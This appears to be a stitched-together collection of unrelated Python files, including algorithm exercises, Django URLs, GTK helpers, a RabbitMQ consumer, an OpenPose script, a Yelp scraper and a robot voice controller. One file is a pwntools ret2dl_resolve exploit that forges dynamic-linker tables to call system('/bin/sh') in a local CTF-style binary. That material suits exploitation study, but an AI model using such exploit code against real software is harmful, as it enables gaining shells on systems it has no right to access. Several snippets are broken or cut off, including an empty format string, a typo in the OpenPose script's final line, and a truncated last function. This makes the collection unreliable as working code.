from ipywidgets import widgets

from pandas_profiling.report.presentation.core.image import Image

class WidgetImage(Image):
    def render(self):
        image = self.content["image"]
        if self.content["image_format"] == "svg":
            image.replace("svg ", 'svg class="img-responsive center-img"')
        else:
            image = ''.format(
                image=image, alt=self.content["alt"]
            )

        widget = widgets.HTML(image)
        if "caption" in self.content and self.content["caption"] is not None:
            caption = widgets.HTML(
                '
{caption}
'.format(
                    caption=self.content["caption"]
                )
            )
            return widgets.VBox([widget, caption])
        else:
            return widget


import sys

IN = list(map(lambda x: x.rstrip('\n'), sys.stdin.readlines()))
nRows, nCols = map(int, IN[0].split())

# 0. fixed-size, non-directional, densible, no invalid cases

# 1. make graph: adjacency matrix with zero-padding
adjM = ['0' * (1 + nCols + 1)] + list(map(lambda x: '0' + x + '0', IN[1:])) + ['0' * (1 + nCols + 1)]
isVisited = [[False for col in range(1 + nCols + 1)] for row in range(1 + nRows + 1)]

# 3. add coor within dx, dy
def addPossibles(res: set, base):
    dxs = (1, -1, 0, 0)
    dys = (0, 0, 1, -1)

    for dxy in zip(dxs, dys):
        # Addition of tuples: using map() + zip() + sum()
        coor = tuple(map(sum, zip(base, dxy)))

        if adjM[coor[0]][coor[1]] == '1':
            if not isVisited[coor[0]][coor[1]]:
                res.add(coor)

def bfs(startCoor: tuple, destCoor: tuple):
    # 2-1. init
    depth = 1
    thisDepth, nextDepth = set(), set()
    thisDepth.add(startCoor)

    # 2-1. BFS
    while len(thisDepth) > 0:
        coor = thisDepth.pop()
        isVisited[coor[0]][coor[1]] = True
        if coor == destCoor:
            return depth

        addPossibles(nextDepth, coor)
        if len(thisDepth) < 1:
            thisDepth = nextDepth.copy()
            nextDepth.clear()
            depth += 1
            # print(f'depth {depth}: {thisDepth}')

    # if no valid path exists
    return -1

print(bfs((1, 1), (nRows, nCols)))


from cs50 import get_float
from math import floor

# Declare the number of coins and the reference set of coins
numCoins = 0
coins = [25, 10, 5, 1]

# Prompt the user input, re-prompt if user input is a negative number
change = get_float("Change owned: ")
change = round(change * 100)
while change < 0:
    change = get_float("Change owned: ")

# Calculate the number of coins from larger coins downward
for i in coins:
    if change >= i:
        _tmp = floor(change / i)
        numCoins += _tmp
        change = change - (_tmp * i)

# Output the result
print(numCoins)


from django.conf.urls import url, include

from authenticating.views import registration, login

urlpatterns = [
    url(r'^register/$', registration, name='register'),
    url(r'^login/$', login, name='mylogin'),
    url(r'', include('django.contrib.auth.urls')),
    url(r'', include('social.apps.django_app.urls', namespace='social'))
]


# https://programmers.co.kr/learn/courses/30/lessons/42586?language=python3
def solution(progresses, speeds):
    from collections import deque
    prs = deque(progresses)
    sps = deque(speeds)
    deploy_cnt = []
    while prs:
        for i in range(len(prs)):
            prs[i] += sps[i]

        cnt = 0
        while prs and prs[0] >= 100:
            prs.popleft()
            sps.popleft()
            cnt += 1

        if cnt > 0:
            deploy_cnt.append(cnt)
    return deploy_cnt

def solution(progresses, speeds):
    from collections import deque
    required_day = deque([(100-p) / s for p, s in zip(progresses, speeds)])
    deploy_cnt = []

    while required_day:
        day = required_day.popleft()
        cnt = 1

        while required_day and required_day[0] < day:
            required_day.popleft()
            cnt += 1
        deploy_cnt.append(cnt)
    return deploy_cnt

if __name__ == "__main__":
    print(solution([93, 30, 55], [1, 30, 5]))
    print(solution([93, 30, 55], [1, 30, 5]) == [2, 1])
    print(solution([95, 90, 99, 99, 80, 99], [1, 1, 1, 1, 1, 1]))
    print(solution([95, 90, 99, 99, 80, 99], [1, 1, 1, 1, 1, 1]) == [1, 3, 2])

[스택큐] 기능개발.py


from ooflib.SWIG.common import guitop
from ooflib.SWIG.common import ooferror
from ooflib.common import debug
from ooflib.common.IO.GUI import gtklogger
from gi.repository import Gtk
from gi.repository import Pango

# A gtk.Button containing an image from the given stock item, (eg,
# gtk.STOCK_OK) and optional text.  If 'reverse' is true, the text
# will precede the image.

# For gtk3, stock_id is the name of a named icon. The possible names
# can be found with
#  it = Gtk.IconTheme()
#  it.list_icons()
# The button text needs to be provided with labelstr, if desired.
# gtk2 provided it automatically.

## TODO?: Many of the icons come in two flavors, "xxx" and
## "xxx-symbolic".  We could make using the symbolic versions an
## option. StockButton could check for the existence of the preferred
## version and fall back to the other version if the preferred one was
## not available.  Then we could delete the "-symbolic" everywhere
## that we spell it out in the code.

class StockButton(Gtk.Button):
    def __init__(self, icon_name, labelstr=None, reverse=False, markup=False,
                 align=None, **kwargs):
        assert isinstance(align, (type(None), Gtk.Align))
        debug.mainthreadTest()
        if debug.debug():
            it = Gtk.IconTheme()
            if not icon_name in it.list_icons():
                raise ooferror.ErrPyProgrammingError(
                    "Bad icon name: " + icon_name)

        if align is None:
            align = Gtk.Align.CENTER
        Gtk.Button.__init__(self, **kwargs)
        image = Gtk.Image.new_from_icon_name(icon_name, Gtk.IconSize.BUTTON)
        hbox = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL)
        self.markup = markup
        self.reverse = reverse
        if reverse:
            if labelstr:
                if markup:
                    self.label = Gtk.Label(halign=align)
                    self.label.set_markup(labelstr + ' ')
                else:
                    self.label = Gtk.Label(labelstr + ' ')
                hbox.pack_start(self.label, expand=True, fill=True, padding=0)
            hbox.pack_start(image, expand=False, fill=False, padding=0)
        else:                       # not reverse
            hbox.pack_start(image, expand=False, fill=False, padding=0)
            if labelstr:
                if markup:
                    self.label = Gtk.Label(halign=align)
                    self.label.set_markup(' ' + labelstr)
                else:
                    self.label = Gtk.Label(' ' + labelstr)
                hbox.pack_start(self.label, expand=True, fill=True, padding=0)
        self.add(hbox)

    def relabel(self, labelstr):
        if self.markup:
            if self.reverse:
                self.label.set_markup(labelstr + ' ')
            else:
                self.label.set_markup(' ' + labelstr)
        else:
            if self.reverse:
                self.label.set_text(labelstr + ' ')
            else:
                self.label.set_text(' ' + labelstr)

def prevButton(**kwargs):
    debug.mainthreadTest()
    button = StockButton('go-previous-symbolic', 'Prev', **kwargs)
    gtklogger.setWidgetName(button, "Prev")
    return button

def nextButton(**kwargs):
    debug.mainthreadTest()
    button = StockButton('go-next-symbolic', 'Next', reverse=True, **kwargs)
    gtklogger.setWidgetName(button, "Next")
    return button

#####################

# Find and return a gtk widget of type 'widgetclass' in the widget
# hierarchy rooted at 'root' (which must be a gtk widget).

def findChild(widgetclass, root):
    debug.mainthreadTest()
    if isinstance(root, Gtk.Container):
        for child in root.get_children():
            if isinstance(child, widgetclass):
                return child
            descendant = findChild(widgetclass, child)
            if descendant:
                return descendant

# findChildren is just like findChild, but it returns all matching
# child widgets.

def findChildren(widgetclasses, root):
    debug.mainthreadTest()
    kids = []
    if isinstance(root, Gtk.Container):
        for child in root.get_children():
            for widgetclass in widgetclasses:
                if isinstance(child, widgetclass):
                    kids.append(child)
                    break
            kids.extend(findChildren(widgetclasses, child))
    return kids

########################

# extra space around Paned handles because they're not visible enough
handle_padding = 5

########################

# Global CSS styles.

# addStyle might be called before the GUI is started, before the
# styles can be applied.  So it stores the styles that have been
# assigned too early and oofGUI.__init__ applies them after the main
# window has been created.

# See https://developer.gnome.org/gtk3/stable/chap-css-overview.html

styleStrings = []

def addStyle(stylestring):
    if not guitop.top():
        styleStrings.append(stylestring)
    else:
        guitop.top().addStyle(stylestring)


import json

import pika

import os

import json

from main import Product, db, app

URL = os.environ.get('URL')

params = pika.URLParameters(URL)

connection = pika.BlockingConnection(parameters=params)

channel = connection.channel()

channel.queue_declare(queue='main')

def callback(ch, method, properties, body):
    print('received in main linux after db ')
    print(body)
    data = json.loads(body)

    if properties.content_type == 'product_created':
        product = Product(id=data['id'], title=data['title'], image=data['image'])
        db.session.add(product)
        db.session.commit()
        print('Product Created')
    elif properties.content_type == 'product_updated':
        product = Product.query.get(data['id'])
        product.title = data['title']
        product.image = data['image']
        db.session.commit()
        print('Product Updated')
    elif properties.content_type == 'product_deleted':
        product = Product.query.get(int(data))
        print(product)
        db.session.delete(product)
        db.session.commit()
        print('Product Deleted')

channel.basic_consume(queue='main', on_message_callback=callback, auto_ack=False)

print('Started Consuming')

channel.start_consuming()

channel.close()


from datetime import date

DOCUMENTS = {
    "2013gradBSC": {
        "title": "Ising-Ferromagnet auf Ad-HocNetzwerken",
        "short": "BSc",
        "pdf": "bachelorThesis.pdf",
        "type": "thesis",
        "date": date(2013, 9, 5),
    },
    "2014confDPG": {
        "title": "Ising-Ferromagnet on Proximity Graphs",
        "short": "DPG14",
        "pdf": "2014DPG.pdf",
        "contribution": "DY 41.46",
        "type": "poster",
        "date": date(2014, 4, 3),
    },
    "2015sschoolMCS": {
        "title": "Phase Transitions of Disordered Travelling Salesperson Problems solved with Linear Programming",
        "short": "MCS",
        "pdf": "2015MCS.pdf",
        "type": "poster",
        "date": date(2015, 9, 21),
    },
    "2015gradMSC": {
        "title": "Phase Transitions of Disordered Travelling Salesperson Problems solved with Linear Programming and Cutting Planes",
        "short": "MSc",
        "pdf": "masterThesis.pdf",
        "type": "thesis",
        "date": date(2015, 11, 6),
    },
    "2016confDPG": {
        "title": "Phase Transitions of Disordered Travelling Salesperson Problems solved with Linear Programming and Cutting Planes",
        "short": "DPG16",
        "pdf": "2016DPG.pdf",
        "contribution": "DY 44.7",
        "type": "talk",
        "date": date(2016, 3, 9),
    },
    "GL2016TSP": {
        "title": "Linear Programming by Example: The Travelling Salesperson Problem",
        "short": "GL2016TSP",
        "pdf": "Lecture2016_TSPbyExample.pdf",
        "type": "talk",
        "date": date(2016, 11, 11),
    },
    "2016CompPhys": {
        "title": "Convex Hulls of Self-Avoiding Random Walks: A Large-Deviation Study",
        "short": "CompPhys14",
        "pdf": "2016CompPhys.pdf",
        "type": "poster",
        "date": date(2016, 11, 25),
    },
    "2017confDPG_saw": {
        "title": "Convex Hulls of Self-Avoiding Random Walks: A Large-Deviation Study",
        "short": "DPG17",
        "pdf": "2017DPG.pdf",
        "contribution": "DY 60.1",
        "type": "poster",
        "date": date(2017, 3, 23),
    },
    "2017confDPG_high": {
        "title": "Convex Hulls of Random Walks in High Dimensions: A Large-Deviation Study",
        "short": "DPG17",
        "link": "https://dpg2017.schawe.me/",
        "contribution": "DY 18.1",
        "type": "talk",
        "date": date(2017, 3, 21),
    },
    "2017confCompPhys": {
        "title": "Linear Programming and Cutting Planes for Ground States and Excited States of the Traveling Salesperson Problem",
        "short": "CompPhys17",
        "pdf": "2017CompPhys.pdf",
        "type": "talk",
        "date": date(2017, 11, 30),
    },
    "2018confDPG": {
        "title": "Linear Programming and Cutting Planes for Ground States and Excited States of the Traveling Salesperson Problem",
        "short": "DPG18",
        "pdf": "2018DPG.pdf",
        "contribution": "DY 10.6",
        "type": "talk",
        "date": date(2018, 3, 12),
    },
    "2018confCCP": {
        "title": "Large Deviations of Convex Hulls of Self-Avoiding Random Walks",
        "short": "CCP18",
        "pdf": "2018CCP.pdf",
        "contribution": "115",
        "type": "talk",
        "date": date(2018, 8, 2),
    },
    "2019confDPG": {
        "title": "Ground-state energy distribution of noninteracting fermions with a random energy spectrum",
        "short": "DPG19",
        "pdf": "2019DPG.pdf",
        "contribution": "DY 21.1",
        "type": "talk",
        "date": date(2019, 4, 2),
    },
    "2019gradPHD_thesis": {
        "title": "Large Deviations of Convex Hulls of Random Walks and Other Stochastic Models",
        "short": "PhD",
        "pdf": "dissertation.pdf",
        "type": "thesis",
        "doi": "10.5281/zenodo.3377931",
        "date": date(2019, 3, 19),
    },
    "2019gradPHD_defense": {
        "title": "Large Deviations of Convex Hulls of Random Walks and Other Stochastic Models",
        "short": "PhD",
        "pdf": "disputation.pdf",
        "type": "talk",
        "date": date(2019, 3, 19),
    },
    "2020confR4": {
        # https://diggingintodata.org/awards/news/round-4-conference-2020
        "title": "Understanding opinion and language dynamics using massive data",
        "short": "R4",
        "pdf": "2020R4.pdf",
        "type": "poster",
        "date": date(2020, 1, 31),
    },
    "2020confDPG_hk": {
        "title": "Surprising Effects of Inhomogeneity on Opinion Dynamics",
        "short": "DPG20",
        "pdf": "2020DPG_hk.pdf",
        "contribution": "SOE 13.7",
        "type": "talk",
        "date": date(2020, 3, 19),
    },
    "2020confDPG_lis": {
        "title": "The entropy of the longest increasing subsequences: typical and extreme sequences",
        "short": "DPG20",
        "pdf": "2020DPG_lis.pdf",
        "contribution": "DY 40.4",
        "type": "talk",
        "date": date(2020, 3, 18),
    },
    "2020supp1SciRep_hk": {
        "title": "SI 1",
        "short": "hk_si1",
        "link": "https://github.com/surt91/hk_tree",
        "type": "code",
        "date": date(2020, 5, 19),
    },
    "2020supp2SciRep_hk": {
        "title": "SI 2",
        "short": "hk_si2",
        "pdf": "2020supp2SciRep_hk.pdf",
        "type": "text",
        "date": date(2020, 5, 19),
    },
    "2020confIC2S2_video": {
        "title": "When open mindedness hinders consensus",
        "short": "IC2S2",
        "link": "https://youtu.be/_oSSz4olovE",
        "type": "video",
        "date": date(2020, 7, 19),
    },
    "2020confIC2S2_poster": {
        "title": "When open mindedness hinders consensus",
        "short": "IC2S2",
        "pdf": "2020IC2S2_hk.pdf",
        "type": "poster",
        "date": date(2020, 7, 19),
    },
    "2020confCSW_video": {
        "title": "Collective effects of the cost of opinion change",
        "short": "CSW",
        "link": "https://www.youtube.com/watch?v=O6J9gkqqdAg&t=2760s",
        "type": "video",
        "date": date(2020, 7, 9),
    },
    "2020confCompPhys": {
        "title": "Collective effects of the cost of opinion change",
        "short": "CompPhys17",
        "pdf": "2020CompPhys.pdf",
        "type": "talk",
        "date": date(2020, 12, 3),
    },
    "2021suppHKdata": {
        "title": "Cluster configurations of the Hegselmann-Krause model on network ensembles",
        "short": "HKdata",
        "link": "https://doi.org/10.5281/zenodo.4288672",
        "type": "data",
        "date": date(2021, 5, 13),
    },
    "2021suppDWdata": {
        "title": "Cluster configurations of the Deffuant model on network ensembles",
        "short": "DWdata",
        "link": "https://doi.org/10.5281/zenodo.4701047",
        "type": "data",
        "date": date(2021, 5, 13),
    },
    "2021suppPRR_hknet_lat3": {
        "title": "SM 1",
        "description": "Video of the evolution of a Hegselmann-Krause model on a square lattice",
        "short": "lat3",
        "link": "https://data.schawe.me/lat3_eps015.mp4",
        "type": "video",
        "date": date(2021, 6, 14),
    },
    "2021suppPRR_hknet_lat4": {
        "title": "SM 2",
        "description": "Video of the evolution of a Hegselmann-Krause model on a square lattice",
        "short": "lat4",
        "link": "https://data.schawe.me/lat4_eps015.mp4",
        "type": "video",
        "date": date(2021, 6, 14),
    },
    "2021suppPRR_hknet_ba10": {
        "title": "SM 3",
        "description": "Video of the evolution of a Hegselmann-Krause model on a Barabási Albert Graph",
        "short": "ba10",
        "link": "https://data.schawe.me/ba10_eps015.mp4",
        "type": "video",
        "date": date(2021, 6, 14),
    },
    "2021confNetworks_video": {
        "title": "The Bridges to consensus -- Bounded confidence models in networked societies",
        "short": "Networks2021",
        "link": "https://youtu.be/FYlRGbq-rIA",
        "type": "video",
        "date": date(2021, 7, 7),
    },
    "2021confNetworks_slides": {
        "title": "The Bridges to consensus -- Bounded confidence models in networked societies",
        "short": "Networks2021",
        "pdf": "2021_networks_hknet.pdf",
        "type": "talk",
        "date": date(2021, 7, 7),
    },
    "2021confIC2S2_poster": {
        "title": "Information in times of COVID19: traditional media vs. online social networks",
        "short": "IC2S2",
        "pdf": "2021IC2S2_tnyt.pdf",
        "type": "poster",
        "date": date(2021, 7, 27),
    },
    "2021confSMR3624_talk": {
        "title": "Position distribution in a generalised run and tumble process",
        "short": "SMR3624",
        "link": "https://youtu.be/VTQAgXelS58?t=1731",
        "type": "talk",
        "date": date(2021, 9, 8),
    },
}


class Solution:
    def moveZeroes(self, nums) -> None:
        """
        Do not return anything, modify nums in-place instead.
        """
        #把非o元素安相对顺序移动到o元素的前面，每次用第一个0元素和第一个非0元素做交换
        i=-1
        for j in range(len(nums)):
            if not nums[j]==0:
                i+=1
                nums[i],nums[j]=nums[j],nums[i]
        print(nums)

if __name__ == "__main__":
    list = [0,1,3,0,12]
    Solution().moveZeroes(list)


from pwn import *

inputs = [b'ex4722', b"Well I didn't vote for you.\x00", b'ex4722']

exe = ELF('./tmp_bin')

gdbscript = """
c
"""

def new_processes():
    p = gdb.debug("./tmp_bin",gdbscript=gdbscript)
    for i in inputs:
        p.send(i)
    return p

#def rax_control():
#    payload = flat([
#        b"A"*55,
#        exe.plt.strlen,
#        # GADGET, pop ebx
#        0x08048d36,
#        #vuln.address_ranges[0].start,
#        # STRING
#        0x8048fc3,
#        0x08048d36,
#        0xdeadbeef,
#    ])
#    p.send(payload)

fake_tabble = exe.bss() + 0x200 + 0x24 + 0x24
jumprel = 0x08048320
symtab  = 0x080481cc
strtab  = 0x0804826c

dl_resolve_func = 0x8048380

jmp_offset = fake_tabble - jumprel
symtab_offset = fake_tabble +8+4 - symtab
str_offset = fake_tabble + 32 +4 - strtab

# GOT loc, after got,  rinfo next, adding padding????
fake_jmprel = p32(exe.got.strncmp + 8) + p32( (symtab_offset // 24)<<8  | 7)  + p32(0)
fake_symtab = p32(str_offset) + p32(0) * 2 + p32(0x12) + p32(0x35) + p32(0)

fake_str = b'system\x00\x00\x00/bin/sh\x00'

p = new_processes()
leave_ret = 0x08048cab
payload = flat([
    b"A"*55,
    exe.plt.read,
    # RET ADDR , pop chain cause of read args, ebp control
    0x08048d18,
    0, # stdin
    # buf
    exe.bss(),
    # size
    0x1337,
    # EBP HERE, new stack
    exe.bss(),
    leave_ret,

])
p.send(payload)

stack = flat([
# leave ret, pops one
    b'A'*4,
    # Reading in dl resolve this time
    exe.plt.read,
    # RET ADDR , pop chain cause of read args, ebp control
    0x08048d18,
    0, # stdin
    # buf
    fake_tabble,
    # size
    0x1337,
    # EBP HERE
    exe.bss() + 32-4,
    leave_ret,
    # Next RIP
    dl_resolve_func,
    jmp_offset,
    0xdeadbeef,
])

input('stack')
p.send(stack)
input("B DL")
p.send( fake_jmprel +fake_symtab +fake_str)

"""
How to ret 2 dl_resolve:
push val1
dl_runtime_resolve()
val1 + jumprel -(ONE ENTRY???) == Elf32_Rel  *reloc_table
    *reloc_table  = got addr
    *reloc_table +4 = r_info
        ELF32_R_SYM == r_info >>8
        ELF32_R_TYPE == r_info & 0xff ( 7 for GOT??)

func's symtab == symtab + ELF32_R_SYM * 24

name = STRTAB + func's symtab(First entry)

elf_machine_fixup_plt()
Writes result to got addr specificed

"""


import time
from boards.communicationI2C import CommunicationI2C

connection = CommunicationI2C("testCom", "0x07")
connection.connect()

sleepTime = 0.000
msgCountCurrent = 0
msgCount = 101
meanRead = 0
meanWrite = 0
errorCount = 0
errorMissed = 0
#result="MovingBaseAlexandreV4"
result="move finished"
globalStart = time.time()
while msgCountCurrent < msgCount:
	msgCountCurrent += 1
	start=time.time()
	#connection.sendMessage("id")
	connection.sendMessage("pos getXY")
	meanWrite += (time.time()-start)*1000
	start=time.time()
	res = connection.receiveMessage(0.1)
	meanRead += (time.time()-start)*1000
	if res == "ERROR":
		errorCount += 1
	elif res != result:
		errorMissed += 1
	time.sleep(sleepTime)
	if msgCountCurrent % 100 == 1:
		print("error {}".format(errorCount))
		print("errorMissed {}".format(errorMissed))
		print("write {}ms".format(meanWrite/msgCountCurrent))
		print("read {}ms".format(meanRead/msgCountCurrent))
		print("{} msg in {}s".format(msgCountCurrent, time.time()-globalStart))
		print("----------------------------\n\n")
connection.disconnect()


def fib(x):
    if x==0:
        return 0
    if x==1:
        return 1
    return fib(x-2)+fib(x-1)

n=int(input('enter number of terms:'))
for i in range(n):
    print(fib(i))


from sys import argv
from decimal import Decimal

from src.Config import Config
from src.Data import Data
from src.Math import EuclideanDistance

def main(args):
    file = 'examples/vectors.csv'
    if args[1] == 'g':
        if len(args) == 4:
            nrows = int(args[2])
            ncols = int(args[3])
        else:
            nrows = 501
            ncols = 11
        config = Config(
            file=file,
            nrows=nrows,
            ncols=ncols,
        )
        Data(config)
    elif args[1] == 'a':
        data = Data(file=file)
        ed = EuclideanDistance(data)
        with open('examples/summary.txt', 'w+') as handle:
            handle.write('min:' + str(ed.min) + '\n')
            handle.write('max:' + str(ed.max) + '\n')
            handle.write('xlabels: ' + str(ed._get_xlabels(Decimal('0.1'))) + '\n')
        ed.histogram('examples/hist.png')

if __name__ == '__main__':
    main(argv)


#!/usr/bin/env python3
# coding=utf-8

## Zpracování záznamu cílové kamery
# @file OpenPose_process.py
# @brief scripr pro zpracování záznamu cílovou kamerou
# @author Jahoda Vojtěch

__author__ = "Jahoda Vojtěch"
__description__ = "scripr pro zpracování záznamu cílovou kamerou"

import json
import sys
import cv2
import os
from sys import platform
import argparse
import numpy as np
import argparse

def process_image(name: str,img: np.ndarray, json_save: bool = True, json_path: str = 'tmp/json') -> str:
    """
    Funkce pro zpracování cílového záznamu knihovnou OpenPose
    @param name         -> jméno souboru cílového záznamu
    @param img          -> vstupní obrázek pro cílový soubor
    @param json_save    -> přepínač ukládání JSON souboru
    @param json_path    -> složka na uložení JSON souborů
    @return             -> jméno uloženého JSON souboru

    @note tato funkce je inspirována příklady použití knihovny OpenPose pro Python knihovnu
    """
    # Import knihovny OpenPose pro Windows\Linus\OsX
    dir_path = os.path.dirname(os.path.realpath(__file__))

    try:
        # Windows Import
        if platform == "win32":
            #Zde musí pro windows být nastavena relativní cesta od tohoto souboru pro složky Release a Bin
            #Pro přesun knihovny OpenPose je zapotřebý tyto proměnné přepsat
            def_folder = '/OpenPose_lib/build'
            sys.path.append(dir_path + def_folder + '/python/openpose/Release')
            os.environ['PATH'] = os.environ['PATH'] + ';' + dir_path + \
                def_folder + '/x64/Release;' + dir_path + def_folder + '/bin;'
            import pyopenpose as op
        else:
            #Zde musí pro windows být nastavena relativní cesta od tohoto souboru pro složku python v přeložené knihovně OpenPose
            sys.path.append('/OpenPose_lib/build/python')
            from openpose import pyopenpose as op
    except ImportError as e:
        # chyba importu, pokud knihovna OpenPose není přelkožena jako python knihovna
        print('Error: OpenPose library could not be found. Did you enable `BUILD_PYTHON` in CMake?')
        raise e

    #nastavení relativní cesty k modelům OpenPose
    params = dict()
    params["model_folder"] = "OpenPose_lib/models/"

    # Starting OpenPose
    opWrapper = op.WrapperPython()
    opWrapper.configure(params)
    opWrapper.start()

    # Process Image
    datum = op.Datum()
    datum.cvInputData = img
    opWrapper.emplaceAndPop(op.VectorDatum([datum]))

    # uložení bodů do JSON souboru
    if json_save:
        js_data = datum.poseKeypoints.tolist()
        with open(os.path.join(json_path,name+'.json'), 'w+') as f:
            json.dump(js_data, f, separators=(',', ':'))

    return os.path.join(json_path,name+'.json')

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description='získájní bodů postavy z knihovny OpenPose', usage='%(prog)s --in_file')

    parser.add_argument('--in_file', metavar='Soubor',
                        help='Cílový záznam ve formátu obrázku (JPG,PNG,JPEG...)')

    args = parser.parse_args()

    if not os.path.exists(args.in_file):
        print('[problem] tento soubor neexistuje - ', args.in_file)
        raise FileNotFoundError

    process_image(os.path.split(args.in_file)[1], cv2.imread(args.in_+file))


# -*- coding: utf-8 -*-
"""
Created on Mon Dec  4 19:46:22 2017

@author: Renuka

Description: This scrapes and saves html files for all other establishments the user has given reviews for
"""
import time
import os.path
import requests
import csv

def scrapeRest(Rname,uid,url):
    restId=url.replace('/biz/','')#get restaurant id
    #save html files under subfolder
    with open(os.path.join('others',uid+'__'+restId+ ".html"), "wb") as review_page:
        html=None
        pageLink="https://www.yelp.com"+url # url for page 1
        print(pageLink)
        for i in range(5): # try 5 times
            try:
                #use the browser to access the url
                response=requests.get(pageLink,headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', })
                html=response.content # get the html
                break # we got the file, break the loop
            except Exception as e:# browser.open() threw an exception, the attempt to get the response failed
                print ('failed attempt',i)
                time.sleep(2) # wait 2 sec
        time.sleep(2)
        #save the html
        review_page.write(html)
        review_page.close()

if __name__=='__main__':
    try:
        os.mkdir("others")
    except Exception:
        pass
    with open('Ofile.csv') as csvfile:
        reader = csv.DictReader(csvfile)
        for row in reader:
            if row['Name']!='NA':
                scrapeRest(row['Restaurant'],row['Userid'],row['Link'])


"""
UNDER DEVELOPMENT
This script allows you to control the ant using voice commands.
It listens for the wake word and awaits a command.
"""

import pyttsx3
import speech_recognition as sr
from ax12.movement import flip, rotate, walk, sit, stand, connect

WAKE = "tiger"

def speak(text):
    engine = pyttsx3.init()
    engine.say(text)
    engine.runAndWait()

def get_audio():
    r = sr.Recognizer()
    with sr.Microphone() as source:
        r.adjust_for_ambient_noise(source, duration=0.2)
        audio = r.listen(source)
        said = ""

        try:
            said = r.recognize_sphinx(audio)
            print(said)
        except Exception as e:
            print("Exception: " + str(e))

    return said.lower()

def main():

    servos = connect()

    while True:
        print("\nSay 'tiger' to wake . . .")
        text = get_audio()

        if text.count(WAKE) > 0:
            speak("hello")
            text = get_audio()
            print("COMMAND:", text)

            FLIP_STRS = ["flip", "show us a flip"]
            for phrase in FLIP_STRS:
                if phrase in text:
                    speak("sure")
                    flip(servos)

            LEFT_STRS = ["rotate to left", "rotate to the left",
                         "spin to the left", "spin left"]
            for phrase in LEFT_STRS:
                if phrase in text:
                    speak("yes sir")
                    rotate(servos, "CCW")

            RIGHT_STRS = ["rotate to right", "rotate to the right",
                          "spin to the right", "spin right"]
            for phrase in RIGHT_STRS:
                if phrase in text:
                    speak("spinning to the right now")
                    rotate(servos, "CW")

            ROTATE_STRS = ["rotate", "spin"]
            for phrase in ROTATE_STRS:
                if phrase in text:
                    speak("left or right")
                    text = get_audio()

                    LEFT_STRS = ["left"]
                    for phrase in LEFT_STRS:
                        if phrase in text:
                            speak("copy that")
                            rotate(servos, "CCW")

                    RIGHT_STRS = ["right"]
                    for phrase in RIGHT_STRS:
                        if phrase in text:
                            speak("spinning to right now")
                            rotate(servos, "CW")

            WALK_STRS = ["walk", "go"]
            for phrase in WALK_STRS:
                if phrase in text:
                    speak("here i go")
                    walk(servos)

            SIT_STRS = ["sit", "sit down"]
            for phrase in SIT_STRS:
                if phrase in text:
                    speak("okay")
                    sit(servos)

            STAND_STRS = ["stand", "stand up"]
            for phrase in STAND_STRS:
                if phrase in text:
                    speak("okay")
                    stand(servos)

if __name__ == "__main__":
    main()


# -*- coding: utf8 -*-
#!/usr/bin/python
import random
import time

# Meilleur algorithhme de tri ! ! !
def tri_rapide(L):
    """trirapide(L): tri rapide (quicksort) de la liste L"""
    def tri_rap(L, g, d):
        pivot = L[(g+d)//2]
        i = g
        j = d
        while True:
            while L[i]<pivot:
                i+=1
            while L[j]>pivot:
                j-=1
            if i>j:
                break
            if i<j:
                L[i], L[j] = L[j], L[i]
            i+=1
            j-=1
        if g<j:
            tri_rap(L,g,j)
        if i<d:
            tri_rap(L,i,d)

    g=0
    d=len(L)-1
    tri_rap(L,g,d)

liste = [i for i in range(1000000)]     # on génére une liste croissante de nombres
random.shuffle(liste)               # on mélange tous les éléments de la liste
# print(liste)

debut = time.time()

tri_rapide(liste)
# print(liste)

fin = time.time()
intervalle = fin - debut
print("Temps de calcul pour le tri_rapide : ", intervalle)

Fonctionnels/Méthodes prédéfinies !/Listes/Tri rapide (5+).py


# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:
    def pseudoPalindromicPaths (self, root: Optional[TreeNode]) -> int:
        self.ans = 0
        d = [0] * 10

        def check():
            count = 0
            for i in range(len(d)):
                if d[i]%2 != 0: count += 1
            if count > 1 : return False
            return True

        def dfs(node):
            if node:
                d[node.val] += 1
                if not node.left and not node.right:
                    if check(): self.ans += 1
                else:
                    dfs(node.left)
                    dfs(node.right)
                d[node.val] -= 1

        dfs(root)

        return self.ans


import random
import os
import time
import multiprocessing
import tqdm
import json
import sys
import cmd
import subprocess
import re
import logging

class GPU:
    def __init__(self, identifier, model, region, servers, vram, num_compute_units):
        self.identifier = identifier
        self.model = model
        self.vram = vram
        self.num_compute_units = num_compute_units
        self.region = region
        self.servers = servers
        self.is_available = True

    def allocate(self):
        if self.is_available:
            self.is_available = False
            return True
        return False

    def release(self):
        self.is_available = True

class GPUPool:
    def __init__(self, gpus):
        self.gpus = gpus

    def allocate_gpu(self, task_id):
        for gpu in self.gpus:
            if gpu.allocate():
                print(
                    f"Task {task_id} allocated to GPU {gpu.model} with {gpu.vram}MB VRAM and {gpu.num_compute_units} compute units.")
                return
        print(f"No available GPU for task {task_id}")

    def release_gpu(self, task_id):
        for gpu in self.gpus:
            if not gpu.is_available:
                gpu.release()
                print(f"Task {task_id} released GPU {gpu.model}")
                return
        print(f"Task {task_id} not found in GPU allocation")

found_server1 = []
found_server2 = []
found_server3 = []
found_server4 = []
server_instances = []

    # p = multiprocessing.Pool(3)
    # for i in range(1, 3):
    #     p.apply_async(job, args=())
    # p.close()
    # p.join()
queue = multiprocessing.Queue()

progress_queue= multiprocessing.Queue()
# aaa

class SubServers:
    def __init__(self,name,ID,GPU,weight,availiable_ram,availiable):
        self.name = name
        self.subID = ID
        self.GPU = GPU
        self.weight = weight
        self.availiable_ram = availiable_ram
        self.availiable = availiable
def fetch_server(desired_model):
    found_server = []

    for server in server_instances:
        if server.GPU == desired_model:
            found_server.append(server)

    if desired_model == '3090':
        found_server1 = found_server

    elif desired_model == 'A800':
        found_server2 = found_server

    elif desired_model == 'A100':
        found_server3 = found_server

    else:
        found_server4 = found_server

    return found_server

def job_and_update(JonLen,JobCOM,queue,process_info):

    # for i in tqdm.tqdm(range(JonLen),position=0,leave = True):
    #         time.sleep(JobCOM)

    queue.put(process_info)
    shared_pid = os.getpid()
    shared_values.append([shared_pid,shared_progress,process_info])
    for i in range(100):
        q.put(i)
        shared_progress = i
        time.sleep(3)
        #actual delay equals to JobCom

def task(selected_server,path):
    for server in server_instances:
